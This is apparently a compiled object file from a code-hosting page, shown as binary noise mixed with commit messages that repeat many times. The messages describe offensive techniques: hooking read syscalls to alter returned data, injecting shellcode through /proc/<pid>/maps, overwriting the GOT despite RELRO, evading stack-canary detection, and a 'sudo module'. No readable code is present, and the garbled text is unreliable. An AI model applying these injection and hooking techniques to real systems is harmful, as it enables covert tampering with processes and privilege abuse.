<18>A"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>K1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>c,<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>s8<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>| 1<><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>8<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> E<><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> _<><00>9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$;<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;-<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>O l<>T0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>z-<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00>0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=<00>=<00><<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>- <00><>20<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>K ڣPA<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>b <00><>g"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>| <01><00>B<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <14><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .<2E><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ;<3B><00>)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1D<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00

Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>
@
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
)
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
.
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
[ <
<00>A
<00>M
<00>Y
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
de
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
+q
<00><00>
*<00>
b<00>
P<00>
 <00>
L <00>
<00><00>
Y<00>
<00> <00>
<00><00>
<00><00>
<00>
Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.
2022-04-04 17:07:45 -04:00
<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
"
<00>
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00

Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>-
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
W:
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
 G
_T
z a
 n
<00> {
<00><00>
<00><00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
k<00>
* <00>
<00><00>
<00>
'<00>
M <00>
c<00>
<00>
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00

Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
y
<00>$
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
s1
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
>
!K
^X
^e
<00> r
 
d <00>
<00>
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00
<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><00>
K<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
B <00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
K<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>
)
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>1
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>=
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>I
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
jU
O b
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
}<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00> <00>
<00><00>
7<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><00>
<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00> 
<00>$
|2
<00> @
<00>N
<00>\
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>j
<00>x
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
}<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00> <00>
<00><00>
<00><00>
<00><00>
b<00>
<00><00>
b 
<00> 
<00> 
<00> 3
;@
<00>M
<00> Z
<00> h
<00><00>
<00> <00>
<00><00>
<00>
<00><00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
Y<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00> 
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00

Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>&
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>3
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>@
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
*M
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
"]
U d
=<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
G<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
9<00>
<00> <00>
Z<00>
.<00>
<00> <00>
<00> <00>
i<00>
K
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
r<00>
<00><00>
<00><00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><00>
<00> <00>
<00> <00>
<00><00>
{
<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00

Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>'
9 4
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
DB
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
k N
<00>Z
<00>
f
<00> r
L<00>
<00><00>
y<00>
<00>
@ <00>
<00><00>
<00><00>
<00>
<00>
\<00>

( 
<00>
<00>'
4<
<00> F
<00> W
b
<00>g
Eu
}<00>
<00><00>
k <00>
}<00>
<00><00>
<00><00>
$ <00>
<00>
}
<00> -
<00>I
<00>
W
<00>e
<00>
s
4
<00>
<00> <00>
} <00>
 <00>
<00><00>
p<00>
6
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00

Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
K(
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
r7
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>
F
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>M
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>T
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
*Y
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
 f
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00> s
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>
<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
R<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00>
2
<00>"
+/
<
FI
<00> V
Mc
<00>p
9}
<00> <00>
<00><00>
+<00>
<00>
F<00>
<00> <00>
M<00>
<00><00>
9<00>
<00>
<00>
<00>%
;3
7@
QM
Z
<00> g
t
c<00>
<00><00>
=<00>
<00><00>
 <00>
<00><00>
C<00>
<00><00>
V <00>
f<00>
<00>
f

<00>%
<00>3
<00>A
<00>O
]
(k
y
<00>
<00>
6<00>
M<00>
d<00>
{<00>
<00><00>
<00><00>
<00><00>
a
x
<00>!
<00>/
<00>=
<00>K
3Y
Vg
yu
<00><00>
<00><00>
<00>
<00> <00>
<00><00>
<00><00>
<00> <00>
<00>
] <00>
n
<00>

g
<00>+
<00>9
<00>G
U
<00>c
<00> q

/<00>
[<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
?<00>
k<00>
<00> 
<00>
<00>'
5
,C
XQ
<00>_
m
i{
<00><00>
<00><00>
<00><00>
<00><00>
 <00>
%<00>
/<00>
<00><

I
 c
<00>
p
} }
F<00>
2<00>
Z<00>
<00><00>
g<00>
<00>
l<00>
<00>
<00> 
<00>

&
4
<00>B
wP
c ^
Ql
Z
z
<00> <00>
<00><00>
<00> <00>
&<00>
<00> <00>
<00><00>
<00> 
1%
+2
?
FM
<00> g
<00> u
- <00>
M<00>
<00><00>
|<00>
&<00>
<00><00>
1<00>
<00> <00>
- <00>
|
<00> 

<00> -
<00> :
wH
<00>U
wc
<00>p
w~
<00> <00>
w<00>
D<00>
<00><00>
&<00>
<00><00>
1<00>
<00> <00>
- <00>
D
=

,
<00>GP
V]f
<00>q<00><00>
<00> <00>
<00><00>
<00><00>
<00>
T<00>)
s !
<00> 1
<00> <
3G<00>n
<00> ~
E <00>
| <00><00>
<00> ; 
<00>0
<00>;<00> R
Aa
<00>p
<00><00>
> <00> <00>
<00><00>
P<00>
<00><00>
<00>
<00><00>
U
<00>.
eL<00> ]
lm

}
: <00>
<00><00>
<00> <00> <00>
<00>
g $"
<00>2
<00>B
R
<00>b
<00>r
o<00>
^<00>
:<00><00><00><00>b<00>D, h<00> <00><00> <00>
P <00><00><00>
<00><00>
<00><00>
<00>

l

)
: G
<00>W
<00>b<00>y
<00><00>
<00> <00>
<00><00>
<00><00>A<00>K
<00><00>J<00>T

_<00><00>
<00><00><00>
<00><00>C<00>
<00><00><00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
#
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00

J @C`<00><00><00><00><00><00><00><00><00>$ 
@ `<00> <00>;<00><00><00><00><00><00>.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @I@<00><00>&<00>,<00>1<00>T<>><00><>%9@X<00>+J <09>-]6<>0X@<00>D0 qf<>sl@ E }0<00><>?<00>0<18>&<00>><3E><00>@<40> <00>`<60><00><00>@8EhX<>x <00><00><00>F<00>
Reference in New Issue Copy Permalink